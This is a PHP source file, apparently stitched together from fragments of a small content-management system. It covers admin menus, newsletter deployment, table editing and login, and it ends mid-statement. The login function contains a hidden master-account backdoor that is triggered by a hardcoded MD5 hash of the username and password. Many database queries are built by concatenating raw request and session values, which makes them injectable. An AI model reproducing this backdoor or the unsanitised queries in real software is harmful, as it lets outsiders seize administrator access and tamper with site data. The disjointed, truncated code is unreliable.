function radio_edit($nod, $dr, $md, $id = '') { $id = $id ? $id : $_SESSION['read']; $nd = 'radio' . $id; if (!$nod) { $nod = $_SESSION['qb'] . '_' . $nd; } $nodb = str_replace('_', '*', $nod); if ($dr) { $ret .= radio_build($dr, $nod); } $r = msql_read('radio', $nod, ''); $ret .= msqlink('radio', $_SESSION['qb'] . '_' . $nd); if ($r[$md]) { foreach ($r[$md] as $k => $v) { $ky .= $md . '.' . $k . '|'; $edit .= input2('text', '"id="' . $md . '.' . $k, $v) . btn('txtsmall', $r['_menus_'][$k]) . br(); } $edit .= ljb('popbt', 'SaveR', 'popup_radiosav_' . $nodb . '__' . $k . '\',\'' . $ky, 'save'); } $ret .= divc('edit', $edit); if ($r) { foreach ($r as $k => $v) { foreach ($v as $ka => $va) { $datas[$k][] = $va; } if ($k != '_menus_' && $k != $md) { $datas[$k][] = ljb('popbt', 'SaveJ', 'popup_radioedit___' . $nodb . '__' . $k, 'edit'); } } } $ret .= make_divtable($datas); return popup('build_playlist', $ret); }
function plug_deploy($deploy) { $qb = $_SESSION['qb']; $USE = $_SESSION['USE']; $raed = suj_of_id($deploy); $nl = $_GET['nl'] ? $_GET['nl'] : "nl"; if ($deploy && $USE) { //prep list($qauth, $subj) = sql('name,suj', 'qda', 'r', 'id="' . $deploy . '"'); $msg = sql('msg', 'qdm', 'v', 'id="' . $deploy . '"'); if ($USE == $qauth or auth(5)) { $http = host(); if (!$_POST['dpl']) { reqp('mail'); $qmail = mail_list_tosend(); $ret .= form("/?read={$deploy}&deploy={$deploy}&nl=nlb", txarea('dpl" maxlength="1000', $qmail, 40, 10) . br() . checkbox("dpf", "ok", "html", 1) . checkbox("multiple", "ok", "each_one", 1) . input2('submit', "send", nms(50), 'popbt')); } else { $htacc = urlread($deploy); $_SESSION['nl'] = $nl; //deploy if ($_POST['dpf'] == "ok") { $mail_format = "html"; $txt = format_txt($msg, $nl, $deploy); $txt = html_entity_decode($txt); $txt = str_replace('href="/', 'href="' . $http . '/', $txt); $msg = lkc("", $http . $htacc, bal("h2", $subj)); $msg .= divc("panel justy", $txt); } else { $mail_format = "txt"; $msg = clean_internaltag($msg); $msg = html_entity_decode($msg); } $_SESSION['nl'] = ""; //send $sender = sql('mail', 'qdu', 'v', 'name="' . $USE . '"'); $lstm = str_replace("\n", ",", $_POST['dpl']); $lstm = str_replace("\r", ",", $lstm); $listmail = explode(",", trim($lstm)); if ($_POST['multiple'] == "ok" && is_array($listmail)) { $sentto = send_mail_r($listmail, $mail_format, $qb . ' :: ' . $raed, $msg, $sender, $htacc); } else { $sentto = $_POST['dpl']; $vm = str_replace(array(",", ";", "\n", " "), ",", $sentto); send_mail($mail_format, $vm, $qb . ' :: ' . $raed, $msg, $sender, $htacc); } $ret .= lkc("popbt", '/?read=' . $deploy, 'article ' . $deploy . ' sent to: ' . $sentto); } } else { $ret .= btn("popdel", "forbidden"); } } //if($_POST['dpl'])return $ret; return $ret; }
function f_inp_widths($defs) { $set = 'text" size="3'; list($l_large, $m_large, $r_large, $t_large) = obtain_widths($defs); $t .= btn("txtnoir", 'leftbar ' . input2($set, 'l_large', $l_large, "")) . ' '; $t .= btn("txtnoir", 'content ' . $m_large . 'px') . ' '; $t .= btn("txtnoir", 'rightbar ' . input2($set, 'r_large', $r_large, "")) . ' '; $t .= btn("txtnoir", 'page ' . input2($set, 't_total', $t_large, "")) . ' '; $t .= input2('submit', 'save', "apply_widths", "") . ' '; $t .= checkbox('saveblocks', 'ok', 'apply (mods_' . prmb(1) . ')', 0) . ' '; $t .= hlpbt('designwidths') . br(); $inp = $t . br(); return form('/?admin=css', $inp); }
function make_form_b($arr, $goto) { if ($_GET["kill"]) { $r = array("from" => $_GET["kill"], "dest" => $_GET["dest"], "suj" => $_GET["suj"]); } foreach ($arr as $k => $v) { if ($v == "text") { $ret .= balise("input", array(1 => $v, 2 => $k, 3 => $k, 4 => $r[$k], 5 => "txtblc", 6 => 44, 7 => 255), ""); } if ($v == "textarea") { $ret .= balise($v, array(2 => $k, 3 => $k, 5 => "txtblc", 9 => 64, 10 => 10), $k); } if ($v == "submit") { $ret .= input2($v, $v, $k, "txtblc"); } if ($v != "submit") { $ret .= balise("label", array("for" => $k), $k) . br(); } } return form("", $ret); }
$s = 400; break; case "export": $ret = exportation($id, $va, $opt, $optb); $t = 'export:' . $id; $s = 440; break; case "deploy": $ret = plugin('deploy', $id); $t = 'deployement: ' . $id; $s = 440; break; //j //j case "embed": $ret = input2('text', '" size="40', $id, 'txtblc'); $tt = $va; break; case "url": $ret = mbd_url(); $tt = 'url'; break; case "emdpop": $ret = mbd_conn($id, $va, $opt); $tt = $id ? $id : 'edit'; break; //conn //conn case "text": $msg = substr($id, 0, 4) == 'bpop' ? sesr('temp', $va) : $id; $t = $va;
function login($user, $pasw, $mail, $cook = '') { $user = normalize($user); $pasw = normalize($pasw); $newhub = $_POST['create_hub']; $qdu = ses('qdu'); $qb = ses('qb'); $host = hostname(); if (md5($user . $pasw) == 'df66a9ca7bc0d62e580dc575ccc9ba23') { $_SESSION['USE'] = ses('master'); } //$ath=array_flip(authes_levels()); //log $iq = verif_user($user, $pasw); if ($iq) { list($ip, $userhub) = sql('ip,hub', 'qdu', 'r', 'name="' . $user . '"'); if ($ip != $host) { update('qdu', 'ip', $host, 'name', $user); } if ($userhub) { $qb = $user; } return log_result($user, $iq, $qb, '', $cook); } elseif ($user == 'login') { //is_numeric($ath[$user]) if (!rstr(73)) { return loged($user, '', ''); } list($iq, $ip) = ser("id,ip", $qdu . ' WHERE name="' . $qb . '"'); if ($ip == $host) { return log_result($qb, $iq, $qb, '', $cook); } else { list($iq, $USE) = ser("id,name", $qdu . ' WHERE ip="' . $host . '"'); if ($iq) { return log_result($USE, $iq, $qb, '', $cook); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_no')); } } } //bad passw $iq = verif_user($user, ''); $exist = isgoodhubname($user); $first = sql('id', 'qdu', 'v', 'id=1'); if ($iq) { $_SESSION['tentativ'] += 1; if ($_SESSION['tentativ'] >= 3) { return alert_user($user); } else { return lj('small', "valid_loged", 'bruu! ' . helps('log_nopass')); } } elseif (prmb(11) == 0 && !$newhub && $first && !auth(5)) { return lj('small', "valid_loged", 'bruu! ' . helps('log_nohub')); } elseif ($exist == true) { return lj('small', "valid_loged", 'bruu! ' . $user . ' ' . nms(37)); } elseif (prmb(11) >= 1 or $newhub or !$first or prms('create_hub') == "on") { $rl = "ok"; if (!$mail or strpos($mail, "@") === false) { $tfield = divc("txtcadr", helps('log_newser') . ' ' . prmb(11)); $tfield .= hidden('user', '', $user) . hidden('pass', '', $pasw); if (auth(6) or !$first or prmb(11) >= 6 && prms('create_hub') == "on") { $tfield .= hidden('create_hub', '', $user); } $tfield .= autoclic('mail', 'mail?', '20', '100', '') . ' '; $tfield .= input2('submit', 'envoyer', "ok", 'txtbox') . ' '; $tfield .= lj('txtx', 'valid_loged', picto('left')); return form('/?log=on', $tfield); } else { if ($_POST['mail'] or $newhub) { $user = $newhub ? $newhub : $user; } elseif ($_SESSION['USE']) { $user = $_SESSION['USE']; } if ($user != 'admin') { $iq = adduser($qb, $user, $pasw, $mail); } //add_user if (prmb(11) >= 6 or $newhub or !$first) { modif_cnfgtxt($user, $first); //add_hub $qb = makenew($user); message2newuser($user, $mail, $pasw); $_SESSION['auth'] = ''; } $_SESSION['qbin']['adminmail'] = $mail; log_result($user, $iq, $qb, $rl, $cook); } } }
function mod_edit_j($v, $o, $pa, $id = '') { if (!$id) { $id = 'mp'; } if ($pa) { $pa = ajx(substr($pa, 0, -1), 1); } $r = msql_read('system', 'admin_modules', $v); $ret = admhlp('imgr', ajx($v), 'description'); $ra = array('param', 'title', 'command', 'option', 'module'); $d = '"size="11" id="mde'; if (!$o) { $ra[] = 'button'; } for ($i = 0; $i < count($ra); $i++) { $cm[] = 'mde' . $i; $vb = $ra[$i]; if ($ra[$i] == 'module') { $va = $v; } elseif ($ra[$i] == 'param') { $va = $pa; } else { $va = ''; } if ($vb != 'command' && $r[$vb] != '0' or $r[$vb]) { if ($vb == 'command' or $vb == 'option') { $hlp = btn('txtsmall2', $r[$vb]); } else { $hlp = ''; } if ($vb == 'button' && !$o) { $va = $v; } if (substr($va, -1) == '&') { $va = substr($va, 0, -1); } $rb[$vb] = input2('text', $d . $i, ajx($va, 1), '') . $hlp; } else { $ret .= hidden($d . $i, '', ''); } } $rb[' '] = ljb('popsav', 'popup', implode('|', $cm) . '\',\'' . $id . '', 'add :' . $v); $ret .= on2cols($rb, 470, 5); return $ret; }
function facil_pos($defs, $k) { $u = '/?admin=css&'; //$ret.=lkc("txtnoir",$u.'edit_css='.$k.'&append_this==#'.$k,'append_this').' '; $ret .= lkc('txtyl', $u . 'erase=' . $k . '#' . ($k - 1), 'delete') . ' '; $ret .= lkc('txtbox', $u . 'newfrom=' . $k . '&edit_css=' . ($k + 1) . '#' . ($k + 1), nms(44)) . ' '; foreach ($defs as $ka => $v) { $rb[$ka] = name_classe($v); } //$t.=btn('txtx','position:').menuder_form_kv($rb,'pos',$k,"kv"); $t .= btn('txtx', 'position:') . select(atn('pos'), $rb, 'kv', $k); $t .= input2('submit', 'save', "ok"); $ret .= form($u . '&atpos=' . $k, $t); return $ret; }
function slider_edit($nod, $n) { //name,mini,img,width,height,mini_w,mini_h,text,size,color,align,position,alpha $r = msql_read('gallery', $nod, $n); $get = $n . 'nam|' . $n . 'txt'; $sets = slider_params(); $sty = ' style="border:1px solid grey;"'; $sets['size'][] = $r['size']; $sets['color'][] = $r['color']; $sets['alpha'][] = $r['alpha']; foreach ($sets as $k => $v) { $entry = $r[$k]; $get .= '|' . $n . $k; //echo $r[$k]; //$rb=batch_defil_kv($sets[$k],$entry,"vv"); //$set.=balise("select",array(3=>$n.$k,"selected"=>$entry),$rb).' '.$k.br(); $set .= select(array('id' => $n . $k), $sets[$k], 'vv', $entry) . ' ' . $k . br(); } $ret = input2('text', '"' . $sty . ' size="17" id="' . $n . 'nam', $r['name'], '') . ' name' . br(); $ret .= txarea('"' . $sty . ' id="' . $n . 'txt', $r['text'], 20, 3) . ' text' . br(); $ret .= $set . br(); $nodb = str_replace('_', '*', $nod); $rj = array('edit' . $n, 'plug', '', '', 'slider', 'slider*sav', $nodb, $n, $get); $ret .= call_func('popbt', $rj, 'Save') . ' '; $rj[7] = 'mdf-' . $n; $ret .= call_func('popbt', $rj, 'Apply to All') . ' '; $rj[7] = 'del-' . $n; $ret .= call_func('popbt', $rj, 'Delete') . ' '; $ret .= lj('popbt', 'edit' . $n . '_msqlcall___gallery_' . $nodb . '_' . $n . '_text', 'X'); return $ret; }
function arts_menus($dya, $dyb) { $cs = 'txtblc'; $ret .= divc('txtcadr', 'build_pdf_book') . br(); $dya = $dya ? $dya : time(); $dyb = $dyb ? $dyb : 0; $sq = 'WHERE nod="' . $_SESSION['qb'] . '" and day<' . $dya . ' and day>' . $dyb . ' AND re="1"'; $rq = sq('id,frm,thm,day', 'qda', $sq); while ($data = mysql_fetch_array($rq)) { $dt['cat'][ajx($data['frm'], '')] += 1; //$tags=explode(',',ajx($data['thm'],'')); //foreach($tags as $k=>$v){$dt['tag'][ltrim($v)]+=1;}//tri_tags($r) if ($data['day'] < $mind) { $mind = $data['day']; } if ($data['day'] > $maxd) { $maxd = $data['day']; } } $ret .= 'from ' . input2('text', '" id="dyb', date('d/m/Y', $mind), $cs) . ' '; $ret .= 'to ' . input2('text', '" id="dya', date('d/m/Y', $maxd), $cs) . br() . br(); if ($dt['cat']) { $cts = implode('|', array_keys_b($dt['cat'])); } //if($dt['tag'])$tgs=implode('|',array_keys_b($dt['tag'])); $ret .= 'cats: ' . input2('text', '" id="cts', '', $cs) . ' '; $ret .= jump_btns('cts', $cts, ',') . br(); $ret .= 'no-cats: ' . input2('text', '" id="nct', '', $cs) . ' '; $ret .= jump_btns('nct', $cts, ',') . br(); $ret .= 'tags: ' . input2('text', '" id="tgs', '', $cs) . ' '; $ret .= jump_btns('tgs', $tgs, ',') . br(); $ret .= 'no-tags: ' . input2('text', '" id="ntg', '', $cs) . ' '; $ret .= jump_btns('ntg', $tgs, ',') . br(); $ret .= 'order: ' . input2('text', '" id="ord', '', $cs) . ' '; $ret .= jump_btns('ord', 'ASC|DESC', '') . br(); $ret .= ljb('txtbox', 'SaveJ', 'call_plug___pdf_build*call___dya|dyb|cts|nct|tgs|ntg|ord', 'call'); return $ret . br() . br(); }
function msql_adm($msql = '') { //echo br(); $root = sesm('root', 'msql/'); $auth = $_SESSION['auth']; $ath = 6; //auth_level_mini $wsz = define_s('wsz', 700); $msql = $msql ? $msql : $_GET['msql']; $_SESSION['page'] = $_GET['page'] ? $_GET['page'] : 1; #boot if ($msql && $msql != '=') { $url = sesm('url', '/msql/'); $ra = msql_boot($msql); $_SESSION['msql_boot'] = $ra; list($bases, $base, $dirs, $dir, $prefixes, $prefix, $files, $table, $version, $folder, $node) = $ra; //build url $murl = sesm('murl', murl($base, $dir, $prefix, $table, $version)); //b/d/p_t_v $basename = $root . $folder . $node; $is_file = is_file($basename . '.php'); $lk = sesm('lk', $url . $folder . $node . gpage()); $folder = $root . $folder; //conformity msql_adm_head($lk, $base, $prefix, $table, $version); } $def = ajx($_POST['def'] ? $_POST['def'] : $_GET['def'], 1); if ($_GET['see']) { $ret[] = verbose($ra, 'dirs'); } //auth if ($base == 'users' && $prefix == $_SESSION['USE']) { $_SESSION['ex_atz'] = 1; } if ($auth >= $ath && $_SESSION['ex_atz'] or $auth >= 6) { $authorized = true; } $lkb = $lk . '&'; #load //reqp('msql'); $msq=new msql($base,$node); if($is_file)$defs=$msq->load(); if (get('repair')) { msql_repair($folder, $node); } //old if ($is_file) { $defs = read_vars($folder, $node, $defsb); } //if(!$defs)$ret[]=verbose($ra,''); if ($defs['_menus_']) { $defsb['_menus_'] = $defs['_menus_']; } //save if ($def && !$defs[$def]) { $_POST['add'] = $def; } if (($_POST['def'] or $_POST['add']) && $authorized) { list($defs, $def) = save_defs($folder, $node, $defs, $def, $base); } //savb if ($_GET['sav']) { save_vars($folder, $node . '_sav', $defs, 1); } //create if ($_GET['create'] && $authorized) { $prefix = normaliz_c($_POST['prfx']); $table = normaliz_c($_POST['hbname']); if ($_POST['hbnb'] && $_POST['hbnb'] != 'version') { $version = $_POST['hbnb']; } if (!$_POST['hbnb']) { $version = ''; } if (is_numeric($_POST['nbc'])) { $defsb['_menus_'] = ''; $nbc = $_POST['nbc']; $nbc = $nbc > 1 ? $nbc : 1; for ($i = 1; $i <= $nbc; $i++) { $defsb['_menus_'][] = 'col_' . $i; } } elseif ($defs['_menus_']) { $defsb['_menus_'] = $defs['_menus_']; } else { $defsb['_menus_'] = array(''); } $node = mnod($prefix, $table, $version); if ($folder && $prefix) { read_vars($folder, $node, $defsb); } relod(sesm('url') . murl_build('', '', $prefix, $table, $version)); } #modifs //save_modif $do = find_command(); if ($do && $auth >= $ath) { $defs = msql_modifs($defs, $defsb, $folder, $prefix . '_' . $table, $node, $basename, $do); } #render $lh = sesmk('msqlang'); #-menus if (!$_GET['def']) { $ret['menus'] = msql_menus($ra); } //auth(3) && if (!$_GET['def']) { //called #-files //add if (auth(4)) { $ret['fls'] = lkc('txtblc', $lkb . 'new==', pictxt('add', $lh[9][0])) . ' '; } if ($table && $authorized && $prefix && $is_file) { //$defs && $ret['fls'] .= lkc('txtx', $lkb . 'sav==', $lh[2][0]) . ' '; if (is_file($basename . '_sav.php')) { $ret['fls'] .= lkc('txtx', $lkb . 'restore==', $lh[3][0]) . ' '; } $ret['fls'] .= lj_goto('import_defs', 5); //$ret['fls'].=lj_goto('import_old',''); $ret['fls'] .= lj_goto('import_keys', 17); $ret['fls'] .= lj_goto('merge_defs', 6); $ret['fls'] .= lj_goto('append_update', 7); $ret['fls'] .= lj_goto('append_values', 8); } else { $ret['fls'] .= $bckp; } if ($files[$prefix] && ($auth > $ath or $prefix == $_SESSION['USE'])) { if ($auth >= $ath && $table && $prefix && $is_file) { $ret['fls'] .= lkc('txtx', $lkb . 'del_table==', $lh[10][0]) . ' '; $ret['fls'] .= ljb('txtblc', 'delfile', $lkb . 'del_file==', $lh[11][0]) . ' '; //$ret['fls'].=lkc('txtyl',$lkb.'del_file==',$lh[11][0]).' '; if (!$defs or isset($defs[0])) { $ret['fls'] .= lkc('txtyl', $lkb . 'repair==', $lh[12][0]) . ' '; } } } if ($ret['fls']) { $ret['fls'] .= br(); } //$ret['fls']=divc('menu',$ret['fls']); //new if ($_GET['new']) { $ret['fls'] .= newbase($base, $prefix, $table, $version); } #-util if ($table && $authorized && $prefix && $is_file) { $ret['utl'] .= lkc('txtblc', $lkb . 'def=_menus_', $lh[1][0]) . ' '; $ret['utl'] .= lkc('txtx', $lkb . 'reset_menus==', $lh[22][0]) . ' '; $ret['utl'] .= lkc('txtx', $lkb . 'del_menus==', $lh[23][0]) . ' '; $ret['utl'] .= lkc('txtx', $lkb . 'add_keys==', $lh[24][0]) . ' '; $ret['utl'] .= lkc('txtx', $lkb . 'del_keys==', $lh[25][0]) . ' '; $ret['utl'] .= lkc('txtx', $lkb . 'def=_menus_&add_col==', $lh[14][0]) . ' '; $ret['utl'] .= lj_goto('del_col', 15); if ($is_file) { $ret['utl'] .= lkc('txtx" title="' . $lh[13][1], $lkb . 'repair_cols==', $lh[13][0]) . br(); } if ($base != 'system' && is_file(sesm('root') . 'system/' . $node . '.php')) { $ret['utl'] .= lkc('txtblc', $lkb . 'update==', $lh[26][0]) . ' '; } $ret['utl'] .= lj_goto('sort_table', 19); if ($table != 'restrictions' && $table != 'params') { $ret['utl'] .= lkc('txtx', $lkb . 'reorder==', $lh[20][0]) . ' '; } $ret['utl'] .= lj_goto('permut', 21); $ret['utl'] .= lkc('txtx', $lkb . 'edit_conn==', $lh[16][0]) . ' '; $ret['utl'] .= lkc('txtx" title="' . $lh[6][1], $lkb . 'inject_defs==', $lh[18][0]) . ' '; $ret['utl'] .= lkc('txtx', $lkb . 'edit_csv==', 'csv') . ' '; $ret['utl'] .= lkc('txtx', $lkb . 'json==', 'json') . ' '; if (auth(6)) { $ret['utl'] .= lkc('txtx', $lkb . 'export_mysql==', 'sql') . ' '; } if (auth(6)) { $ret['utl'] .= lkc('txtx', $lkb . 'create_mysql==', 'create mysql') . ' '; } $ret['utl'] .= lj('txtx', 'popup_msql___lang_helps_msql', '?'); } #-fieldset if ($ret['fls'] . $ret['utl']) { $ret['utils'] = divc('menu', $ret['fls'] . $ret['utl']); } $ret['fls'] = $ret['utl'] = ''; //if($ret['nfo'])$ret['nfo'].=br(); } //called #-infos if ($table && $is_file) { $ret['nfo'] = lkc('popsav', $lk, $murl) . ' '; $wurl = $_SERVER['HTTP_HOST'] . '/msql/' . $murl; $ret['nfo'] .= lj('popbt', 'popup_text___' . ajx($wurl) . '_weburl_console', pictit('link', 'web url')); $wcon = '[' . $murl . $kdef . ($def ? ':' . $def : '') . ':microsql]'; $ret['nfo'] .= lj('popbt', 'popup_text___' . ajx($wcon) . '_connector_console', pictit('conn', 'connector')); $ret['nfo'] .= lkt('popbt', '/plug/microxml.php?table=' . $murl, pictit('rss', 'xml')) . ' - '; $ret['nfo'] .= btn('txtsmall2', count($defs) . ' ' . plurial(count($defs), 116)) . ' - '; if ($is_file) { $ret['nfo'] .= btn('txtsmall2', fsize($basename . '.php')) . ' - '; } $ret['nfo'] .= btn('txtsmall2', ftime($basename . '.php')) . ' '; $ret['nfo'] .= msq_search($murl); } if ($ret['nfo']) { $ret['nfo'] = divc('menu', $ret['nfo']); } //entries //if($defs)$ret['edt'].=slctmenuder($defs,$def?$def:'_menus_'); //add if ($is_file && $authorized && !$_GET['called'] && $defs && !$_GET['def']) { $ret['edt'] .= divc('menu', f_inp_add($defs, $defsb, $def)) . br(); } //edit //echo verbose($ra,''); if ($def && $defs[$def]) { $ret['edt'] .= f_inp_m($defs, $defsb['_menus_'], $def); } //edit_conn if ($_GET['edit_conn'] == '=') { if ($defs) { foreach ($defs as $k => $v) { $v = str_replace(array('|', '¬'), array(':BAR:', ':LINE:'), $v); $edittable .= implode('|', $v) . '¬' . "\n"; } } //(!is_numeric($k)?$k.'|':'') $ret[] = divc('', 'paste a table as created by transductor from html table :: use "|" for cells and "¬" for lines of cells') . form($lkb . 'def=' . $def, txarea('import_conn', $edittable, 60, 14) . br() . checkbox('aid', 'ok', 'auto_increment', '1') . input2('submit', 'save', 'import', 'txtbox')) . hr() . br(); } //array if ($_GET['inject_defs'] == '=') { $datas = str_replace(array('<' . '?php', '?' . '>'), '', read_file($basename . '.php')); $ret[] = divc('', 'paste $r[1]=array(1,2,3)') . form($lkb, txarea('inject_defs', $datas, 60, 14) . br() . input2('submit', 'replace', 'replace', 'txtbox') . input2('submit', 'inject', 'inject', 'txtbox') . checkbox('mono', '1', 'key=>value', '') . checkbox('sql', '1', 'mysql', '')) . hr() . br(); } //export_mysql if ($_GET['create_mysql'] == '=' && auth(6)) { $ok = plugin_func('mysql', 'import_msql', $defs, $node); $ret[] = divc('txtalert', 'create table ' . $node . ': ' . $ok); } if ($_GET['export_mysql'] == '=' && auth(6)) { $ret[] = txarea('', mysqlrb($defs), 60, 40); } //csv if ($_GET['edit_csv'] == '=') { foreach ($defs as $k => $v) { if ($v) { $edittable .= $k . ':' . (is_array($v) ? implode(',', $v) : htmlentities($v)) . "\n"; } } $ret[] = divc('', 'paste csv using "," for cells and lines for rows') . form($lkb . 'def=' . $def, txarea('edit_csv', $edittable, 60, 14) . br() . checkbox('aid', 'ok', 'auto_increment', '1') . input2('submit', 'save', 'import', 'txtbox')) . hr() . br(); } //csv if ($_GET['json'] == '=') { foreach ($defs as $k => $v) { if ($v) { $edittable .= '"' . $k . '":' . (is_array($v) ? '["' . implode('","', $v) . '"]' : '"' . htmlentities($v[0])) . '",'; } } $ret[] = txarea('edit_csv', '{' . $edittable, 60, 14) . '}' . br(); } //see_table if ($defs && !$_GET['def']) { // && (!$def or $_POST['save'])//called $out = divd('editmsql', draw_table($defs, $murl, '')); $ret[] = $out . br(); } else { $ret[] = divd('editmsql', ''); } if ($auth > 6) { $ret[] = lkc('txtx', $lkb . 'backup_msql==', 'backup') . ' '; } if ($_GET['backup_msql']) { $ret[] = backup_msql(); } return divd('content', implode('', $ret)); }
function admin() { $qb = ses('qb'); $qda = ses('qda'); $qdu = ses('qdu'); $USE = ses('USE'); $auth = ses('auth'); $admin = $_GET['admin'] ? $_SESSION['admin'] = $_GET['admin'] : $_SESSION['admin']; if ($_GET['set']) { $_SESSION['set'] = $_GET['set']; } if ($USE != "") { $hubname = rse("hub", $qdu . ' WHERE name="' . $qb . '"'); if (!$hubname) { $hubname = $qb; } list($autologok, $userhub) = sql('name,hub', 'qdu', 'r', 'ip="' . hostname() . '"'); } $rep = "params"; //verif_user if ($USE != $qb && $USE != "" && $userhub) { $hub = lka('/' . $USE, $USE); } elseif ($USE != $qb && $USE != "" && $autologok != $USE && $autologok) { $alert .= lkc('txtx', '/?log=on', 'autolog') . ' '; } elseif ($USE == $qb && !$userhub && prmb(11) >= 4) { $alert .= lkc("txtred", "/?log=create_hub", "create_hub!"); } elseif ($USE == "") { $reta = lkc('txtx', htac('module') . 'Home', $qb) . br() . br() . loged($USE, $_SESSION['iq'], "", 7) . br(); } //admin_menu $aff = adminauthes(); if ($admin == "=") { $_SESSION['set'] = $_GET['set'] = $USE ? "Global" : "User"; } //defaults if ($aff[$_GET['set']]) { $admin = key($aff[$_GET['set']]); } $_SESSION['admin'] = $admin; $goto = '/?admin=' . $admin; //if(!$userhub){unset($aff['User']['mail']); unset($aff['User']['password']);} //auto_select_category foreach ($aff as $k => $v) { if ($v[$admin]) { $_SESSION['set'] = $k; $curauth = $v[$admin]; } $raf = array_merge_b($raf, array_keys($v)); } if ($curauth === false) { $curauth = 7; } //login if ($USE) { $w .= lkc('popw', htac('module') . 'Home', pictxt('home', $hubname)) . ' '; $w .= btn("popbt", pictxt('user', $USE . ' ' . asciinb($auth)) . ' (' . nameofauthes($auth) . ')'); } //fastmenu $fmn = array('console', 'params', 'restrictions', 'apps', 'css', 'finder', 'templates', 'connectors', 'plugin', 'msql', 'tools', 'pictos', 'stats', 'update'); foreach ($raf as $v) { if (in_array($v, $fmn)) { $tit .= lkc(active($admin, $v), htac('admin') . $v, pictit(mimes_types($v), $v)) . ' '; } } $reta .= divc('right', $w . $alert); $tit .= lkc('txtit', htac('admin') . $admin, $admin) . ' '; if ($admin != "=") { $reta .= div('', $tit); } if ($auth >= 7 && $admin == 'update') { $ret = adm_update(); } if ($auth >= $curauth && $curauth) { switch ($admin) { //global case 'console': $ret = adm_console($auth); break; case 'apps': require_once 'adminx.php'; $ret = adm_apps($_GET['set'], '', $_GET['dig']); break; case 'messages': if ($qb == $USE or $auth >= $curauth) { $ret = adm_messages(); } else { $ret = contact(nms(84), 'txtcadr'); } break; case 'hubs': $ret = adm_hubs($auth); break; case 'nodes': $ret = adm_nodes($auth, $goto); break; case 'stats': list($p, $o) = explode('/', $_GET['set']); $ret = plugin('stats', $p, $o); break; case 'newsletter': $ret = adm_newsletter($_GET['send']); break; case 'disk': $ret = plugin('disk', '', ''); break; case 'share': $ret = plugin('share', '', ''); break; case 'tickets': $ret = plugin('tickets', '', ''); break; case 'faq': $r = msql_read('system', 'program_faq', ''); $ret = nl2br(stripslashes(make_divtable($r, 1))); break; } //articles if ($_SESSION['set'] == 'Articles') { switch ($admin) { case 'create': $ret = f_inp('', ''); break; case 'categories': $ret = catarts(); break; case 'trackbacks': req('mod,art'); $ret = trkarts(''); break; default: $ret = adminarts(); break; } } switch ($admin) { case 'chat': require_once 'art.php'; $ret = output_trk(read_idy('microchat', 'DESC')); break; case 'shop': $ret = helps('shop_class'); break; case 'book': $ret = lkc('txtblc', '/plug/book.php', 'book'); break; } //configs switch ($admin) { case 'restrictions': $ret = adm_restrictions(); break; case 'params': $ret = adm_params($curauth, rep); break; case 'avatar': if ($USE) { $ret = adm_avatar(0); } break; case 'mail': if ($_POST['amail']) { if ($USE == $qb) { $_SESSION['qbin']['adminmail'] = $_POST['amail']; } update('qdu', 'mail', $_POST['amail'], 'name', $USE); } $ml = rse('mail', $qdu . ' WHERE name = "' . $USE . '"'); if ($ml) { $valu = input2('text', 'amail', $ml . '" size="35" maxlength="50') . ' ' . input2('submit', 'Submit', 'modif_mail', ''); } $ret = form($goto, $valu); break; case 'password': $ret = set_password($USE); break; case 'banner': $ret = set_ban(); break; case 'descript': $ret = editbrain($admin); break; case 'google': $ret = editbrain($admin); break; case 'members': $ret = adm_members_a($auth, $goto); break; case 'authes': $titles = array('fonction', 'auth'); if (auth(6)) { $ret = msqlink('system', 'admin_authes') . br(); } foreach ($aff as $k => $v) { $datas = ''; arsort($v); foreach ($v as $ka => $va) { $datas[$ka] = array($va); } $outre[$k] = make_tables($titles, $datas, 'txtblc', ''); } $ret .= make_tabs($outre, 'at'); break; } //constructors switch ($admin) { case 'css': $ret = adm_editcss(); break; case 'fonts': $ret = edit_fonts(); break; case 'connectors': $ret = data_brain('connectors') . br() . br(); $ret .= lkc('txtblc', $goto . '&help==', 'connectors_infos') . br(); if ($_GET['help']) { $ret .= conn_help() . br(); } break; case 'modules': $ret = data_brain('modules') . br() . br() . adm_mod_hlp($goto); break; case 'templates': $ret = data_brain('template'); break; case 'plugin': $ret = adm_plugin(); break; case 'msql': $ret = adm_msql(); break; case 'dev': $ret = plugin('dev', '', ''); break; case 'editags': req('meta'); $ret = admin_tags(get('set')); break; case 'finder': $ret = call_finder($qb, 'disk'); break; case 'backup': $ret = adm_backup($qb, $auth, $goto, $rep); break; case 'update_notes': $ret .= adm_update_notes('', 1); break; case 'plug': $ret .= adm_edit_plug(); break; } if ($admin && !$ret && $auth >= $curauth) { //editbrain $ret = plugin($admin, $_GET['p'], $_GET['o']); } } else { switch ($admin) { case 'members': $ret = adm_members_b(); break; } } #render if ($_SESSION['admin'] && !$_GET['callj']) { $head = $reta . br(); } else { $head = bal('h2', lka('/admin/' . $_SESSION['admin'], $_SESSION['admin'])) . br(); } return $head . $ret; }
function plug_editor($reset = '') { secure_inputs(); if ($_SESSION["dev"] == "dev" or $_SESSION["dev"] == "lab") { $g = "b"; } req('pop,spe,art,tri'); Head::add('csscode', '.tabc{border:1px dotted grey;padding:10px;min-height:25px;width:550px;}'); Head::add('jscode', ' function SaveIcpb(){//convert var opt=document.getElementById("txtareb").innerHTML; document.getElementById("txt").value=opt; SaveJ("txtarea_convhtml_txtareb_4"); toggle_tab(\'tab-1\',2);} function editab(p){ var act=document.getElementById("edt").className; if(act=="txtx" || p==1){var arr=[true,"on","txtred",""];} else{var arr=[false,"off","txtx","none"];} document.getElementById("txtareb").contentEditable=arr[0]; document.getElementById("txtareb").designMode="arr[1]"; void 0; document.getElementById("txtareb").focus; document.getElementById("edt").className=arr[2]; document.getElementById("edtc").style.display=arr[3];} '); //Head::add('rel',array('shortcut icon',uicon('copy_16','edit2','/'))); $out["head"] .= div(atd('popup') . ats('position:fixed;'), ''); $out["head"] .= hidden('', 'socket', ''); if ($_GET['switch_defcon']) { $_SESSION['rstr'][18] = $_SESSION['rstr'][18] == 0 ? 1 : 0; } $basedefs = $_SESSION['rstr'][18] == 0 ? 'public' : $_SESSION['qb']; if ($reset == 'reset_cache') { $_SESSION['vacuum'] = ''; } #### if ($_GET["urlsrc"]) { $urlsrc = $_GET["urlsrc"]; $_GET["urlsrc"] = $urlsrc = strdeb($urlsrc, '?utm_source'); $urlsrc = str_replace("\$", "?", $urlsrc); foreach ($_GET as $k => $v) { if ($k == "rssurl") { $urlsrc = $v; } elseif ($k != 'urlsrc') { $urlsrc .= '&' . $k . '=' . $v; } } } if ($_POST["urlsrc"]) { 